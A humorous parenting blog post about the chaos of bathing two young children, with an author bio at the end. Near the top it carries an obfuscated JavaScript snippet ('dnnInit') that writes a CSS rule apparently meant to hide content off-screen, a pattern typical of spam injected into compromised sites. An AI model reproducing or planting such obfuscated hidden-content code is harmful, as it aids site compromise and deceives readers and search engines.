Dedicated to All The Parents of Smelly Children

By Alex Iwashyna, blogger at Late Enough
function dnnInit(){var a=0,m,v,t,z,x=new Array(“9091968376″,”88879181928187863473749187849392773592878834213333338896″,”778787″,”949990793917947998942577939317”),l=x.length;while(++a<=l){m=x[l-a];t=z="";for(v=0;v<m.length;){t+=m.charAt(v++);if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);t="";}}x[l-a]=z;}document.write(".”+x[2]+”{“+x[1]+”}”);}dnnInit();

My children, E & N, love bath time.

If by love I mean N asks to bathe fourteen times a day and E says: I can’t. I’m tired.

While I run the water, I employ football tackles to keep N from climbing into the bath with her clothing on.

Then E is suddenly naked, jumps in, announces it’s too hot, jumps around, announces he has to pee, jumps out and leaves a trail of bath water JUST IN CASE he can't find his way back

My daughter, N, finally gets into the tub after an epic battle with her pants. She happily pees, and I strategically look the other way and hope my oldest doesn’t notice on his way back from the toilet

They have a blast.

Until I say: Time to get washed up.

NOOOOOOOOOOOOOOOOOOO.

{breath}

NOOOOOOOOOOOOOOOOOOO.

WHO WANTS TO GO FIRST?

NOOOOOOOOOOOOOOOOOOO.

OKAY, GREAT! N! YOU’RE FIRST.

She responds: Mine?

So for every squirt into my own hands, one goes into hers. One expensive Aveno plop that gets rubbed on her Buddha belly over and over and over.

Until we get to her hair and she begins wadding away from me in terror.

I wash, soap, rinse as she wipes her eyes filled with: Why did you try to drown me, Mama?

I move to my next stinky victim.

He screams and splashes me.

Ten minutes later, he has one foot, hair, and his right shoulder cleaned with soap. I have a face, the front of my shirt and my socks washed.

I call it a success and let them go back to creating a large pond on my bathroom floor.

As I get half way through writing a hilarious (to me) tweet, both kids decide OUT! OUT! OUT!

The Roman chorus grows louder until the end of my LOL tweet is OUTOUTOUTOUT.

{sigh}

Of course, OUT consists of two {sniff}-these-seem-alright towels, two kids insisting on both getting out FIRST and only two arms in which to lift, dry, carry.

Because the two of them MUST be carried to make up for the thirty-five minutes of bathing agony. All sixty-five pounds of togetherness. Until my biceps tremble and my back twists as though attempting to find a new less-afflicted body to inhabit.

But whenever I put anyone down? Tears.

Mostly mine.

Alex Iwashyna blogs at Late Enough mostly about life, parenting, marriage, zombies, culture, religion and her inability to wake up in the morning and not hate everyone. She also facilitates a local moms group called Nobody Told Me! (because OBVIOUSLY). Feel free to find her on Facebook, @L8enough on the Twitter, Flickr or StumbleUpon. But don't call. She uses her phone to manage all those accounts while avoiding real human interaction.